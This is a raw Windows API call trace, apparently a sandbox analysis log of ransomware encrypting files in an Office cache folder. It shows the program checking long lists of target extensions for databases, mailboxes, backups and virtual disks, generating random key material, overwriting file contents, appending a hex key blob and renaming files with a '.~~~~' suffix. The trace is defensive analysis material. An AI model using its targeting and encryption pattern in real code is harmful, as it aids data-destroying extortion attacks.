	[0077.139] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.139] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.142] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.142] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.142] CloseHandle (hObject=0x130) returned 1
	[0077.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4778
	[0077.142] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.~~~~")) returned 1
	[0077.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4778 | out: hHeap=0x300000) returned 1
	[0077.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0077.143] GetLastError () returned 0x0
	[0077.143] RtlWakeConditionVariable () returned 0x365f70
	[0077.143] GetCurrentThreadId () returned 0x9cc
	[0077.143] GetCurrentThreadId () returned 0x9cc
	[0077.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4b10
	[0077.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5188 | out: hHeap=0x300000) returned 1
	[0077.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac5f0 | out: hHeap=0x300000) returned 1
	[0077.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5188
	[0077.144] lstrlenW (lpString=".scr") returned 4
	[0077.144] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".scr") returned 0x0
	[0077.144] lstrlenW (lpString=".cmd") returned 4
	[0077.144] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".cmd") returned 0x0
	[0077.144] lstrlenW (lpString=".dll") returned 4
	[0077.144] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".dll") returned 0x0
	[0077.144] lstrlenW (lpString=".bat") returned 4
	[0077.144] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".bat") returned 0x0
	[0077.144] lstrlenW (lpString=".cpl") returned 4
	[0077.144] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".cpl") returned 0x0
	[0077.144] lstrlenW (lpString=".sys") returned 4
	[0077.144] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".sys") returned 0x0
	[0077.144] lstrlenW (lpString=".msc") returned 4
	[0077.144] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".msc") returned 0x0
	[0077.144] lstrlenW (lpString=".com") returned 4
	[0077.144] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".com") returned 0x0
	[0077.144] lstrlenW (lpString=".lnk") returned 4
	[0077.144] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".lnk") returned 0x0
	[0077.144] lstrlenW (lpString=".msp") returned 4
	[0077.145] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".msp") returned 0x0
	[0077.145] lstrlenW (lpString=".pif") returned 4
	[0077.145] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".pif") returned 0x0
	[0077.145] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.145] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0077.145] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0077.146] lstrlenW (lpString=".sqb") returned 4
	[0077.146] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".sqb") returned 0x0
	[0077.146] lstrlenW (lpString=".ost") returned 4
	[0077.146] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".ost") returned 0x0
	[0077.146] lstrlenW (lpString=".txt") returned 4
	[0077.146] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".txt") returned 0x0
	[0077.147] lstrlenW (lpString=".mdt") returned 4
	[0077.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".mdt") returned 0x0
	[0077.147] lstrlenW (lpString=".BDB") returned 4
	[0077.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".BDB") returned 0x0
	[0077.147] lstrlenW (lpString=".eql") returned 4
	[0077.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".eql") returned 0x0
	[0077.147] lstrlenW (lpString=".DBF") returned 4
	[0077.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".DBF") returned 0x0
	[0077.147] lstrlenW (lpString=".EQL") returned 4
	[0077.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".EQL") returned 0x0
	[0077.147] lstrlenW (lpString=".FDB") returned 4
	[0077.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".FDB") returned 0x0
	[0077.147] lstrlenW (lpString=".EDB") returned 4
	[0077.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".EDB") returned 0x0
	[0077.147] lstrlenW (lpString=".DACPAC") returned 7
	[0077.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".DACPAC") returned 0x0
	[0077.147] lstrlenW (lpString=".VHD") returned 4
	[0077.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".VHD") returned 0x0
	[0077.147] lstrlenW (lpString=".DBV") returned 4
	[0077.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".DBV") returned 0x0
	[0077.147] lstrlenW (lpString=".dacpac") returned 7
	[0077.147] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".dacpac") returned 0x0
	[0077.148] lstrlenW (lpString=".sdf") returned 4
	[0077.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".sdf") returned 0x0
	[0077.148] lstrlenW (lpString=".accdb") returned 6
	[0077.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".accdb") returned 0x0
	[0077.148] lstrlenW (lpString=".DBX") returned 4
	[0077.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".DBX") returned 0x0
	[0077.148] lstrlenW (lpString=".MDT") returned 4
	[0077.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".MDT") returned 0x0
	[0077.148] lstrlenW (lpString=".SQB") returned 4
	[0077.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".SQB") returned 0x0
	[0077.148] lstrlenW (lpString=".vhd") returned 4
	[0077.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".vhd") returned 0x0
	[0077.148] lstrlenW (lpString=".bac") returned 4
	[0077.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".bac") returned 0x0
	[0077.148] lstrlenW (lpString=".mdf") returned 4
	[0077.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".mdf") returned 0x0
	[0077.148] lstrlenW (lpString=".BAK") returned 4
	[0077.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".BAK") returned 0x0
	[0077.148] lstrlenW (lpString=".BAC") returned 4
	[0077.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".BAC") returned 0x0
	[0077.148] lstrlenW (lpString=".dbs") returned 4
	[0077.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".dbs") returned 0x0
	[0077.148] lstrlenW (lpString=".vhdx") returned 5
	[0077.148] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".vhdx") returned 0x0
	[0077.148] lstrlenW (lpString=".NDF") returned 4
	[0077.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".NDF") returned 0x0
	[0077.149] lstrlenW (lpString=".dat") returned 4
	[0077.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".dat") returned 0x0
	[0077.149] lstrlenW (lpString=".DBS") returned 4
	[0077.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".DBS") returned 0x0
	[0077.149] lstrlenW (lpString=".CKP") returned 4
	[0077.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".CKP") returned 0x0
	[0077.149] lstrlenW (lpString=".edb") returned 4
	[0077.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".edb") returned 0x0
	[0077.149] lstrlenW (lpString=".PST") returned 4
	[0077.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".PST") returned 0x0
	[0077.149] lstrlenW (lpString=".dbf") returned 4
	[0077.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".dbf") returned 0x0
	[0077.149] lstrlenW (lpString=".SQL") returned 4
	[0077.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".SQL") returned 0x0
	[0077.149] lstrlenW (lpString=".pst") returned 4
	[0077.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".pst") returned 0x0
	[0077.149] lstrlenW (lpString=".dbv") returned 4
	[0077.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".dbv") returned 0x0
	[0077.149] lstrlenW (lpString=".SDF") returned 4
	[0077.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".SDF") returned 0x0
	[0077.149] lstrlenW (lpString=".dtxs") returned 5
	[0077.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".dtxs") returned 0x0
	[0077.149] lstrlenW (lpString=".db3") returned 4
	[0077.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".db3") returned 0x0
	[0077.149] lstrlenW (lpString=".OST") returned 4
	[0077.149] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".OST") returned 0x0
	[0077.150] lstrlenW (lpString=".dbx") returned 4
	[0077.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".dbx") returned 0x0
	[0077.150] lstrlenW (lpString=".DB3") returned 4
	[0077.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".DB3") returned 0x0
	[0077.150] lstrlenW (lpString=".DAT") returned 4
	[0077.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".DAT") returned 0x0
	[0077.150] lstrlenW (lpString=".VHDX") returned 5
	[0077.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".VHDX") returned 0x0
	[0077.150] lstrlenW (lpString=".ndf") returned 4
	[0077.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".ndf") returned 0x0
	[0077.150] lstrlenW (lpString=".DB") returned 3
	[0077.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".DB") returned 0x0
	[0077.150] lstrlenW (lpString=".sql") returned 4
	[0077.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".sql") returned 0x0
	[0077.150] lstrlenW (lpString=".MYD") returned 4
	[0077.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".MYD") returned 0x0
	[0077.150] lstrlenW (lpString=".DBT") returned 4
	[0077.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".DBT") returned 0x0
	[0077.150] lstrlenW (lpString=".ACCDB") returned 6
	[0077.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".ACCDB") returned 0x0
	[0077.150] lstrlenW (lpString=".fdb") returned 4
	[0077.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".fdb") returned 0x0
	[0077.150] lstrlenW (lpString=".bak") returned 4
	[0077.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".bak") returned 0x0
	[0077.150] lstrlenW (lpString=".myd") returned 4
	[0077.150] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".myd") returned 0x0
	[0077.151] lstrlenW (lpString=".DTXS") returned 5
	[0077.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".DTXS") returned 0x0
	[0077.151] lstrlenW (lpString=".ckp") returned 4
	[0077.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".ckp") returned 0x0
	[0077.151] lstrlenW (lpString=".dbt") returned 4
	[0077.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".dbt") returned 0x0
	[0077.151] lstrlenW (lpString=".db") returned 3
	[0077.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".db") returned 0x0
	[0077.151] lstrlenW (lpString=".TXT") returned 4
	[0077.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".TXT") returned 0x0
	[0077.151] lstrlenW (lpString=".MDF") returned 4
	[0077.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".MDF") returned 0x0
	[0077.151] lstrlenW (lpString=".bdb") returned 4
	[0077.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".bdb") returned 0x0
	[0077.151] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.151] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0077.151] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.151] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0077.152] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.152] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.152] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0077.152] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0077.152] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19714258130) returned 1
	[0077.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x97e35490, dwHighDateTime=0x1d60e1e)) 
	[0077.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0077.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0077.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0077.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac5f0
	[0077.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac5f0 | out: hHeap=0x300000) returned 1
	[0077.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28078b0
	[0077.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28078b0 | out: hHeap=0x300000) returned 1
	[0077.153] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0077.153] GetLastError () returned 0x0
	[0077.153] GetLastError () returned 0x0
	[0077.153] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0077.154] GetLastError () returned 0x0
	[0077.154] GetLastError () returned 0x0
	[0077.154] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x26dfec0*=0x1915, lpOverlapped=0x0) returned 1
	[0077.156] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe6eb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.156] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x1915, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x26dfec0*=0x1915, lpOverlapped=0x0) returned 1
	[0077.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.157] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.157] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.157] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.157] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.157] CloseHandle (hObject=0x130) returned 1
	[0077.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a50d0
	[0077.157] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.~~~~")) returned 1
	[0077.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a50d0 | out: hHeap=0x300000) returned 1
	[0077.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0077.158] GetLastError () returned 0x0
	[0077.158] RtlWakeConditionVariable () returned 0x365f70
	[0077.158] GetCurrentThreadId () returned 0x9cc
	[0077.158] GetCurrentThreadId () returned 0x9cc
	[0077.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28078b0
	[0077.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aad90 | out: hHeap=0x300000) returned 1
	[0077.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac628 | out: hHeap=0x300000) returned 1
